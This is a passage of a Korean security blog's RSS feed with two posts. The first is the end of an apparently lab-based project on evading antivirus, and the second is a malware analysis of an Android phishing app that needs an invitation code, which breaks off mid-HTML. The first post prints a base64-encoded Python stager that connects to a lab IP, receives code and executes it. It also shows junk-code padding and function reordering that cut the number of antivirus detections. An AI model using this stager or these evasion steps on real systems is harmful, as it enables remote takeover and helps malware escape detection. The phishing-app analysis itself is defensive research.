&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;코드를 추가하거나 변경을 통해 바이너리의 서명 변경, 바이너리의 기능과 동작에 영향을 끼치지 않는 무의미한 코드를 추가하는 방법을 적용한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;824&quot; data-origin-height=&quot;214&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmNFDq/btsKL3qUZt1/b9Vo4qBFqkjyN8paGbl9J1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmNFDq/btsKL3qUZt1/b9Vo4qBFqkjyN8paGbl9J1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmNFDq/btsKL3qUZt1/b9Vo4qBFqkjyN8paGbl9J1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmNFDq%2FbtsKL3qUZt1%2Fb9Vo4qBFqkjyN8paGbl9J1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;447&quot; height=&quot;116&quot; data-origin-width=&quot;824&quot; data-origin-height=&quot;214&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;[Kali] Print 구문을 추가한 후 페이로드의 끝부분에 추가한다.&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;br /&gt;exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8&amp;rsquo;)&lt;br /&gt;&lt;br /&gt;('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguNDcuMTQzJyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')[0]))&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;br /&gt;exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8&amp;rsquo;)&lt;br /&gt;&lt;br /&gt;('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguNDcuMTQzJyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK&lt;span style=&quot;color: #ee2323;&quot;&gt;cHJpbnQoIkhlbGxvLCBCb0IhIikKcHJpbnQoIldlbGNvbWUgdG8gQm9CISIpCgoK&lt;/span&gt;')[0]))&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1150&quot; data-origin-height=&quot;460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pJhdj/btsKKyrVRhO/trCQNg5EQ0MrYVtVV77dpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pJhdj/btsKKyrVRhO/trCQNg5EQ0MrYVtVV77dpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pJhdj/btsKKyrVRhO/trCQNg5EQ0MrYVtVV77dpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpJhdj%2FbtsKKyrVRhO%2FtrCQNg5EQ0MrYVtVV77dpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;615&quot; height=&quot;246&quot; data-origin-width=&quot;1150&quot; data-origin-height=&quot;460&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;페이로드의 추가만으로 탐지 백신 수가 줄어든 것을 확인할 수 있음&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;3.3. 함수 위치 변경(Subroutine Reordering)&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;실습에서는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;QueryPerformanceCounter&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;와&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;GetSystemTimeAsFileTime&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;의 위치를 변경&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;수행 기능은 동일하지만 바이너리의 바이트 위치가 변경, 바이트 위치의 변경은 바이너리 해시 값의 변경을 의미함&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-11-16 오후 8.09.28.png&quot; data-origin-width=&quot;1670&quot; data-origin-height=&quot;298&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NIGKp/btsKMig3pJN/9BQ6D688kaGqY2Z7vEaR70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NIGKp/btsKMig3pJN/9BQ6D688kaGqY2Z7vEaR70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NIGKp/btsKMig3pJN/9BQ6D688kaGqY2Z7vEaR70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNIGKp%2FbtsKMig3pJN%2F9BQ6D688kaGqY2Z7vEaR70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1670&quot; height=&quot;298&quot; data-filename=&quot;스크린샷 2024-11-16 오후 8.09.28.png&quot; data-origin-width=&quot;1670&quot; data-origin-height=&quot;298&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;994&quot; data-origin-height=&quot;444&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2S8Fv/btsKKNCsTcd/HkHKR673fkc6clNjBG0hik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2S8Fv/btsKKNCsTcd/HkHKR673fkc6clNjBG0hik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2S8Fv/btsKKNCsTcd/HkHKR673fkc6clNjBG0hik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2S8Fv%2FbtsKKNCsTcd%2FHkHKR673fkc6clNjBG0hik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;737&quot; height=&quot;329&quot; data-origin-width=&quot;994&quot; data-origin-height=&quot;444&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;탐지 수가 7개로 줄어든 것을 확인함&lt;/p&gt;</description>
      <category>Report/Project</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/284</guid>
      <comments>https://gomguk.tistory.com/284#entry284comment</comments>
      <pubDate>Sat, 23 Nov 2024 20:44:54 +0900</pubDate>
    </item>
    <item>
      <title>[악성앱 분석 보고서] 안드로이드 피싱앱 행위 분석 (초대코드 입력앱 2)</title>
      <link>https://gomguk.tistory.com/283</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 개요&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;디지털 환경이 발전할수록, 악성 앱과 피싱 앱은 그 기법을 점차 고도화하며 사용자들을 노리고 있 다. 특히 스마트폰 사용이 일상화된 지금, 안드로이드 기기를 표적으로 한 악성 앱들이 빠르게 증가하고 있다. 이 포스팅에서는 이러한 악성 앱들이 어떻게 작동하며, 어떤 방식으로 사용자에게 위협을 가하는지 실제 사례와 함께 분석한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 글을 통해 일상에서 자주 접할 수 있는 악성 앱의 흔적을 알아차리는 방법과, 안전하게 모바일 기기를 사용하는 팁을 제공하여 사용자의 정보 보안 의식을 높이는 데 도움을 주고자 한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;DISCLAIMER&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;이 분석은 특정 시점에서 관찰된 악성 행위에 대해 서술하고 있으며, 해당 앱의 전체 기능이나 미래에 발생할 수 있는 모든 변동 사항을 다루지 않습니다. 따라서 이후에 앱이 업데이트되어 새로운 악성 행위가 추가되거나, 다른 유사한 앱에서 유사한 악성 행위가 발견될 수 있습니다. 이 포스팅은 참고 자료로서 제공되는 것이며, 특정 앱의 악성 여부를 완전히 보증하거나 모든 가능성을 포괄하지 않음을 알려드립니다.&lt;br /&gt;&lt;br /&gt;필자는 어떤 단체에 소속되지 않은 개인으로서 특정 집단을 대표하거나 의견을 대변하지 않습니다.&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 초대 코드 입력 피싱앱&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;악성 앱에서 '초대 코드' 입력을 요구하는 이유는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;탐지를 피하고 특정 사용자에게만 기능을 제공하기 위해&lt;/b&gt;서이다. 분석가나 자동화된 분석 도구를 회피하고 앱 마켓의 검열을 피하고자 하는 목적도 있다. 또한, 정상 사용자와 공격 대상을 구분하여 초대 코드를 타겟으로 한 사용자에게만 부여하여 악성 기능을 활성화하게 하는 필터 역할을 한다. 모든 사용자에 대해 모든 악성 기능을 노출하는 대신, 코드 입력을 통해 선별된 사용자만 공격 대상으로 삼을 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;사회 공학적인 기법을 사용하여 초대 코드를 사용하면, 피해자에게 신뢰를 형성하거나 &quot;초대된 사람&quot;만 사용할 수 있다는 식으로 접근하여 심리적으로 방심하게 만들 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;필자는 피싱앱의 사용자도, 피해자도 아닌 분석가이기 때문에 앱 분석의 입장에서 악성행위를 어떻게 수행하는지 분석한다. 초대 코드가 없으면 악성 기능이 활성화되지 않기 때문에, 분석 중에 해당 기능이 드러나지 않아 앱이 정상적이라고 오인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;분석 대상 앱은 HBDILDO 앱이다. 분석 난이도가 있는 편이었다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_스크린샷 2024-11-16 오후 5.17.39.png&quot; data-origin-width=&quot;1076&quot; data-origin-height=&quot;324&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b71cNE/btsKKH3n2Ar/A63VRbPYAs1MyhZaAmVj8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b71cNE/btsKKH3n2Ar/A63VRbPYAs1MyhZaAmVj8k/img.png&quot; data-alt=&quot;앱 기본정보&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b71cNE/btsKKH3n2Ar/A63VRbPYAs1MyhZaAmVj8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb71cNE%2FbtsKKH3n2Ar%2FA63VRbPYAs1MyhZaAmVj8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;518&quot; height=&quot;156&quot; data-filename=&quot;edited_스크린샷 2024-11-16 오후 5.17.39.png&quot; data-origin-width=&quot;1076&quot; data-origin-height=&quot;324&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;앱 기본정보&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-11-16 오후 5.19.16.png&quot; data-origin-width=&quot;2246&quot; data-origin-height=&quot;1302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IWIqo/btsKMmDt1pW/ggEZWEc8cliVddaO5XepH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IWIqo/btsKMmDt1pW/ggEZWEc8cliVddaO5XepH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IWIqo/btsKMmDt1pW/ggEZWEc8cliVddaO5XepH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIWIqo%2FbtsKMmDt1pW%2FggEZWEc8cliVddaO5XepH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2246&quot; height=&quot;1302&quot; data-filename=&quot;스크린샷 2024-11-16 오후 5.19.16.png&quot; data-origin-width=&quot;2246&quot; data-origin-height=&quot;1302&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;앱을 처음 실행하면 아이디와 패스워드를 입력받고 있어 허용된 사용자만 입장가능한 것처럼 꾸며놓은 로그인 화면이 보인다. 실시간으로 공격자에게 초대코드를 받지 않으면, 입장할 수 없는 구조이다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;임의로 초대코드를 입력하고 프록시 도구를 이용하여 응답을 확인하면, 실제로 공격자의 서버로 초대코드가 전송되며 서버에서 검증하고 있는 것을 확인할 수 있다. 초대코드의 정합성 여부를 서버에서 검증하고, HTTP 응답을 받아 앱이 다음 동작을 정의하는 구조일 것으로 예상할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그런데 입력란은 ID(전화번호)/PW만 존재하는데 프록시 도구를 통해 살펴본 데이터는 전화번호, &quot;123456&quot;, 휴대전화모델명이다. 타겟이 어떤 휴대전화를 사용하는지 먼저 파악하고 있다. 그리고 입력한 패스워드는 전송하지 않고 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-11-16 오후 5.24.41.png&quot; data-origin-width=&quot;2320&quot; data-origin-height=&quot;1314&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Cn6RT/btsKLuCmWjf/2lI0AAGkUf4bt8TRgm5ko0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Cn6RT/btsKLuCmWjf/2lI0AAGkUf4bt8TRgm5ko0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Cn6RT/btsKLuCmWjf/2lI0AAGkUf4bt8TRgm5ko0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCn6RT%2FbtsKLuCmWjf%2F2lI0AAGkUf4bt8TRgm5ko0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2320&quot; height=&quot;1314&quot; data-filename=&quot;스크린샷 2024-11-16 오후 5.24.41.png&quot; data-origin-width=&quot;2320&quot; data-origin-height=&quot;1314&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;또한 분석을 방해하기 위한 DEX 사이드로딩도 적용되어 있다. 앱파일 /asset 경로에 dex 파일을 위치하고 설치 및 실행시점에 동적으로 로딩한다. 이 파일은 공격자 서버와 피해자 단말 사이에 데이터를 송수신하는 기능이 구현되어 있어 악성행위 범위에 포함되므로 디컴파일 및 분석시 포함하여 분석한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-11-16 오후 5.34.31.png&quot; data-origin-width=&quot;2312&quot; data-origin-height=&quot;1262&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IzRhj/btsKLgqJjvP/Fc2CDm7K2eqWkTyZ2lz5G0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IzRhj/btsKLgqJjvP/Fc2CDm7K2eqWkTyZ2lz5G0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IzRhj/btsKLgqJjvP/Fc2CDm7K2eqWkTyZ2lz5G0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIzRhj%2FbtsKLgqJjvP%2FFc2CDm7K2eqWkTyZ2lz5G0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2312&quot; height=&quot;1262&quot; data-filename=&quot;스크린샷 2024-11-16 오후 5.34.31.png&quot; data-origin-width=&quot;2312&quot; data-origin-height=&quot;1262&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;사이드로딩된 DEX 파일을 분석하면 공격자의 서버 주소 및 피해자 단말의 어떤 정보가 전송되는지 확인할 수 있다. 서버는 현재 기준 동작하지 않기 때문에 상세 분석은 어렵지만, 악성행위를 식별하는 데는 충분하다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1964&quot; data-origin-height=&quot;1246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UJSiI/btsKL4pNecG/Udd6aiMEvSEE6HlZox0BBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UJSiI/btsKL4pNecG/Udd6aiMEvSEE6HlZox0BBk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UJSiI/btsKL4pNecG/Udd6aiMEvSEE6HlZox0BBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUJSiI%2FbtsKL4pNecG%2FUdd6aiMEvSEE6HlZox0BBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1964&quot; height=&quot;1246&quot; data-origin-width=&quot;1964&quot; data-origin-height=&quot;1246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;앱의 첫 화면은 웹뷰로 구성되어 있는데 공격 서버로부터 받아오는 것이 아닌 앱 내에 저장된 파일에서 로드한다. 웹뷰와 자바스크립트로 구성된 화면은 사용자의 입력값을 서버로 전송하는 코드를 포함하고 있다. 정보 입력 후 로그인 버튼을 클릭하면 입력한 정보가 전송됨을 이미 파악하였다. 자바스크립트 코드를 좀 더 분석해 보았다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-11-16 오후 5.41.37.png&quot; data-origin-width=&quot;2258&quot; data-origin-height=&quot;1036&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YnuYh/btsKL6A8hm9/BxKsx8UKt1Hv7cfejz88ak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YnuYh/btsKL6A8hm9/BxKsx8UKt1Hv7cfejz88ak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YnuYh/btsKL6A8hm9/BxKsx8UKt1Hv7cfejz88ak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYnuYh%2FbtsKL6A8hm9%2FBxKsx8UKt1Hv7cfejz88ak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2258&quot; height=&quot;1036&quot; data-filename=&quot;스크린샷 2024-11-16 오후 5.41.37.png&quot; data-origin-width=&quot;2258&quot; data-origin-height=&quot;1036&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;전송된 패킷에 포함된 임의 문자열 &quot;123456&quot;은 html 내 히든 속성으로 포함되어 있었다. 이 속성을 제거하면 기본 값으로 코딩된 값을 확인할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-11-16 오후 5.42.46.png&quot; data-origin-width=&quot;2220&quot; data-origin-height=&quot;1118&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ylC9p/btsKML32dJ0/NoJKL2nbTaLfytvgXAlkpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ylC9p/btsKML32dJ0/NoJKL2nbTaLfytvgXAlkpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ylC9p/btsKML32dJ0/NoJKL2nbTaLfytvgXAlkpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FylC9p%2FbtsKML32dJ0%2FNoJKL2nbTaLfytvgXAlkpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2220&quot; height=&quot;1118&quot; data-filename=&quot;스크린샷 2024-11-16 오후 5.42.46.png&quot; data-origin-width=&quot;2220&quot; 